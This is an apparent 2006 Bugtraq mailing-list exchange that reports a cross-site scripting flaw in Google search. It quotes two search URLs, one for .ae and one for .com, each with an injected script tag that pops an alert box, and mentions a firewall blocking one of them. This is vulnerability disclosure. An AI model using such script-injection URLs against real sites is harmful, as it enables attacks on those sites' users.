My BlackICE stops this from XSS from happening, however changing the URL
from a .ae domain to a .com and leaving the rest in tact, I am then
prompted.
http://www.google.com/search?hl=ar&q=<script>alert("1")</script>&meta=
Ashes
-----Original Message-----
From: almfnod@xxxxxxxxx [mailto:almfnod@xxxxxxxxx]
Sent: Tuesday, April 04, 2006 2:35 PM
To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: google xss
http://www.google.ae/search?hl=ar&q=<script>alert("1")</script>&meta=